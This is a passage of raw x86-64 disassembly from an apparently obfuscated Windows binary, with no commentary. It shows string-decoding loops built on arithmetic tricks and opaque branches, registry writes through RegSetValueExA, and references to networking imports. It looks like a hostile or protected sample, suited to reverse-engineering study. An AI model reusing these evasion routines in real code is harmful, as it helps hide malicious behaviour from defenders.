lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140102b52
inc rax
cmp r8, rax
jne 0x1401031b9
lea edx, [r10 - 0x10]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401034e1
cmp r8, rcx
jne 0x1401031dd
add r10b, 0x10
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x70
add r8, r9
jmp 0x1401034a6
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140103200
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x14010346e
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14010322b
add r10b, 0x30
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x50
dec rdi
inc rdi
jmp 0x140102b52
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140103011
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x14010342c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140103269
lea edx, [r10 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14010341b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140103294
add r10b, 0x58
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x68
dec rdi
inc rdi
jmp 0x140102b52
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140102fce
add r10b, 8
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
jmp 0x1401034a2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401032ec
sub r10b, 0x60
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x60
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140102b52
inc rax
cmp r8, rax
jne 0x140103310
add r10b, 0x30
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x50
jmp 0x140103508
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140103335
add r10b, 0x50
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x30
jmp 0x1401034a6
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140102f94
sub r10b, 0x20
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x20
add r8, r9
jmp 0x1401034a6
lea edx, [r10 + 0x40]
movzx eax, dl
and al, bl
movzx ecx, bl
sub cl, al
add cl, 0x20
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x14010346e
lea edx, [r10 - 0x30]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1401034e1
add r10b, 0x78
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x48
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140102b52
sub r10b, 0x38
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x78
jmp 0x1401034a6
add r10b, 0x38
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
add r8, r9
jmp 0x1401034a6
lea edx, [r10 - 8]
mov ecx, Ordinal_30
jmp 0x14010341b
movzx r10d, dil
lea edx, [r10 - 0x28]
mov ecx, recv
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r10b, 0x78
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, bl
mov byte [rbp + rdi], r10b
inc r9
dec rdi
inc rdi
jmp 0x140102b52
movzx r10d, dil
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
add r10b, 8
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x38
add r10b, r11b
add r10b, bl
mov byte [rbp + rdi], r10b
add r8, r9
jmp 0x1401034a6
lea rax, [rdi + r12]
and sil, al
add sil, sil
sub al, sil
lea r11d, [rbx + rax]
sub r11b, 0x38
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140102b52
movabs rax, 0x4e77a292765f1f78
add rax, rdi
and sil, al
add sil, sil
sub al, sil
lea r11d, [rbx + rax]
sub r11b, 0x48
movzx r10d, dil
sub r10b, 0x68
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x28
add r10b, bl
movzx eax, r10b
mov byte [rbp + rdi], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140102b52
lea rax, [rdi + r13]
and sil, al
add sil, sil
sub al, sil
lea r11d, [rbx + rax]
sub r11b, 0x68
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140102b52
sub r10b, 0x18
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x58
jmp 0x140102b50
add r10b, 0x58
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x68
jmp 0x140102b40
lea rdx, [rbp + 0x1614e60]
jmp 0x1401035ba
lea rdx, [rbp + 0x12ee528]
jmp 0x1401035ba
lea rdx, [rbp]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x31]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140104ff5
mov byte [rbp + 0x32], 3
mov dword [rsp + 0x30], 0xece8eb85
mov dword [rsp + 0x34], 0xe1e196e6
mov dword [rsp + 0x38], 0xe7e5e3dc
mov byte [rsp + 0x3c], Ordinal_45
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x3d], xmm0
mov dword [rsp + 0x4d], eax
mov word [rsp + 0x51], ax
movabs r15, 0x6befccaf05879334
movabs r12, 0x43cf660d1096b99c
movzx ebx, byte [rbp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14010401f
movzx r11d, byte [rsp + rdi + 0x30]
mov esi, r11d
cmp r8, rdi
ja 0x140104016
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140103690
lea rcx, [rdi + r15]
mov rax, rsi
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rsi
add rbx, rcx
sub bl, 0x6c
jmp 0x1401036bd
je 0x140103fae
lea rax, [r9 + 3]
cmp r8, rax
je 0x140103f7b
lea rax, [r9 + 2]
cmp r8, rax
je 0x140103f5c
lea rax, [r9 + 5]
cmp r8, rax
je 0x140103f3a
movzx r10d, dil
cmp r9, rdi
ja 0x14010400d
lea rcx, [r9 + 3]
cmp r8, rcx
jae 0x1401036ee
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x140103720
lea rax, [r9 + 1]
cmp r8, rax
je 0x140103ef7
cmp r8, rcx
je 0x140103ed5
lea rax, [r9 + 5]
cmp r8, rax
je 0x140103eb9
lea rax, [r9 + 4]
cmp r8, rax
je 0x140103e3a
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140103b2e
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x140103b14
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140103aef
lea rax, [r9 + 6]
cmp r8, rax
je 0x140103acd
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140103bd4
lea rax, [r9 + 5]
cmp r8, rax
je 0x140103ab0
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140103a90
lea rax, [r9 + 4]
cmp r8, rax
je 0x140103a76
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140103ff1
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140103fd5
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1401038be
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1401038a0
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140103882
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140103a23
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1401039ae
mov r8, rax
lea r9, [rax + 0x3e8]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140103984
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140103964
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140103956
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140103936
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14010391a
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140103900
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1401038de
mov r8, rax
lea r9, [rax + 0x3e8]
jmp 0x140103730
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x140103720
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1401036c1
add r10b, 0x6c
movzx eax, r10b
and al, r11b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140103665
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x30
dec rdi
inc rdi
jmp 0x140103652
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x58
jmp 0x140103dfe
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x80
jmp 0x140103f93
add r10b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140103f96
lea edx, [r10 - 0x50]
mov ecx, Ordinal_26
jmp 0x140103e43
add r10b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140103e7b
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x20
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140103652
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x54
cmp r8, 0x3e8
jae 0x140103de6
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140103d14
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r9, 0x3e8
jb 0x140103dda
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea ebx, [rcx*2 - 0x10]
jmp 0x140103f10
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x7c
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x140103e22
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140103c28
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1401039c3
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x78
jmp 0x140103e53
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140103f96
sub r10b, 8
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x140103f90
add r10b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x18
dec rdi
inc rdi
jmp 0x140103652
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x40
inc r9
dec rdi
inc rdi
jmp 0x140103652
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x68
jmp 0x140103f10
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x140103b51
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x6c
jmp 0x140103a38
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140103b88
sub r10b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140103652
inc rax
cmp r8, rax
jne 0x140103baa
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x68
jmp 0x140103e53
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140103bcf
add r10b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x18
jmp 0x140103f93
cmp r8, rcx
jne 0x140103bf2
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x140103dfe
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140103a38
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x140103652
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140103c3f
lea edx, [r10 - 0x34]
mov ecx, gethostname
jmp 0x140103f00
inc rax
cmp r8, rax
jne 0x140103c69
sub r10b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x44
dec rdi
inc rdi
jmp 0x140103652
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140103c8f
add r10b, 0x6c
movzx eax, r10b
and al, r11b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x140103f90
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140103cb8
sub r10b, 0x2c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140103f96
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140103cdd
sub r10b, 0x5c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x7c
jmp 0x140103e7b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401039c3
add r10b, 0xc
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x54
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140103652
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140103d47
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x70
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140103652
inc rax
cmp r8, rax
jne 0x140103d69
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x20
jmp 0x140103e53
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140103d8f
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x140103f90
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140103db3
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x140103dfe
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401039f9
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x30
jmp 0x140103f10
mov byte [rsp + rdi + 0x30], bl
inc rdi
jmp 0x140103652
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x10
lea ebx, [rcx + rcx]
add bl, dl
add r10b, 0x54
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x4c
add r10b, r11b
add r10b, bl
mov byte [rsp + rdi + 0x30], r10b
jmp 0x140103f93
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x140103e53
lea edx, [r10 + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, dl
and al, r11b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
sub r10b, 0x44
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x24
add r10b, r11b
movzx eax, r10b
mov byte [rsp + rdi + 0x30], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rsp + rdi + 0x30], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140103652
add r10b, 0x4c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x14
jmp 0x140103f93
add r10b, 0x7c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x64
dec rdi
inc rdi
jmp 0x140103652
lea edx, [r10 - 0x54]
mov ecx, Ordinal_41
movzx eax, dl
and al, r11b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
sub r10b, 0x14
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x74
add r11b, r10b
mov byte [rsp + rdi + 0x30], r11b
inc r9
dec rdi
inc rdi
jmp 0x140103652
lea ecx, [rdi + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x2c
inc r9
dec rdi
inc rdi
jmp 0x140103652
lea ecx, [rdi + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x54
dec rdi
inc rdi
jmp 0x140103652
lea edx, [rdi + 0x3c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140103652
lea rax, [rdi + r12]
and sil, al
add sil, sil
sub r11b, sil
lea ebx, [rax + r11]
sub bl, 0x44
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140103652
add r10b, 4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x1c
jmp 0x140103650
sub r10b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x44
jmp 0x140103640
lea rdx, [rbp + 0x156e620]
jmp 0x140104024
lea rdx, [rbp + 0x11e7954]
jmp 0x140104024
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x32]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140104ff5
mov byte [rbp + 0x30], 3
mov dword [rbp - 0x28], 0x513193b
mov word [rbp - 0x24], 0x7104
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x22], xmm0
mov qword [rbp - 0x12], rax
mov dword [rbp - 0xa], eax
mov byte [rbp - 6], al
movabs rsi, 0x133b78b4467b56ca
movabs r15, 0xb113d2e6c2291cee
movabs r12, 0xd78ac44f4f1fca82
movzx ebx, byte [rbp + 0x30]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor r11d, r11d
cmp r11, 0x23
jae 0x140104857
movzx r10d, byte [rbp + r11 - 0x28]
mov edx, r10d
cmp r8, r11
ja 0x14010484e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1401040f0
lea rcx, [r11 + r15]
mov eax, edx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x7e
jmp 0x14010411d
je 0x1401047dc
lea rax, [r9 + 2]
cmp r8, rax
je 0x14010475e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010472a
lea rax, [r9 + 7]
cmp r8, rax
je 0x1401046e4
nop dword [rax]
cmp r9, r11
ja 0x140104845
lea rdx, [r9 + 1]
lea rax, [r9 + 9]
cmp r8, rax
jae 0x140104154
lea ecx, [r11 - 0x7a]
movzx eax, cl
and al, r10b
mov ebx, Ordinal_45
sub bl, al
add bl, bl
add bl, cl
add bl, r10b
lea rcx, [r9 + 4]
jmp 0x140104190
cmp r8, rdx
je 0x1401046d5
lea rax, [rdx + 1]
cmp r8, rax
je 0x1401046ae
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010468a
lea rcx, [r9 + 4]
cmp r8, rcx
je 0x14010467c
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x1401043f4
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1401043d2
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1401043ab
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14010438d
lea rax, [r9 + 9]
cmp r8, rax
je 0x1401041a0
lea r8, [r9 + 4]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140104825
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140104805
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1401042dc
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1401042b6
lea r8, [r9 + 0x80]
lea r9, [r8 + 3]
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14010428c
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140104270
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140104255
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1401041a0
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x64]
jmp 0x1401041a0
lea ecx, [r11 - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x40
jmp 0x140104743
lea edx, [r11 + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x34
add bl, dl
jmp 0x14010479b
lea ecx, [r11 + 0x50]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x30
movzx eax, byte [rbp + r11 - 0x28]
add rax, r9
add r11, rax
inc r11
jmp 0x1401040b3
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
mov byte [rbp + r11 - 0x28], bl
inc r11
jmp 0x1401040b3
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x140104661
lea rdi, [r9 + 1]
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1401044fb
lea edx, [r11 - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
cmp r8, 6
jae 0x140104623
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x1401045a8
lea edx, [r11 + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
cmp r9, 0xa
jb 0x1401042cf
lea edx, [r11 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea ebx, [rcx + rcx]
movzx edi, r11b
jmp 0x140104700
lea edx, [r11 - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x140104743
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r9
dec r11
inc r11
jmp 0x1401040b3
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx edi, r11b
jmp 0x140104700
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x140104411
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
jmp 0x1401042eb
cmp r8, rdx
jne 0x14010443f
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x54
movzx eax, byte [rbp + r11 - 0x28]
add rax, r9
add r11, rax
inc r11
jmp 0x1401040b3
lea rax, [rdx + 1]
cmp r8, rax
jne 0x140104462
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x58
jmp 0x14010479b
cmp r8, rcx
jne 0x140104481
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x60
jmp 0x140104746
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401044a4
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x64
jmp 0x140104743
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401044ce
lea ecx, [r11 + 0x34]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x6c
dec r11
inc r11
jmp 0x1401040b3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1401042f5
lea edx, [r11 - 0x14]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x74
add bl, dl
movzx edi, r11b
jmp 0x140104700
cmp r8, rdi
jne 0x140104522
lea edx, [r11 - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx edi, r11b
jmp 0x140104700
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010454c
lea ecx, [r11 + 0x4a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 6
dec r11
inc r11
jmp 0x1401040b3
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140104571
lea edx, [r11 - 0x6a]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x1a
add bl, dl
jmp 0x14010479b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010432f
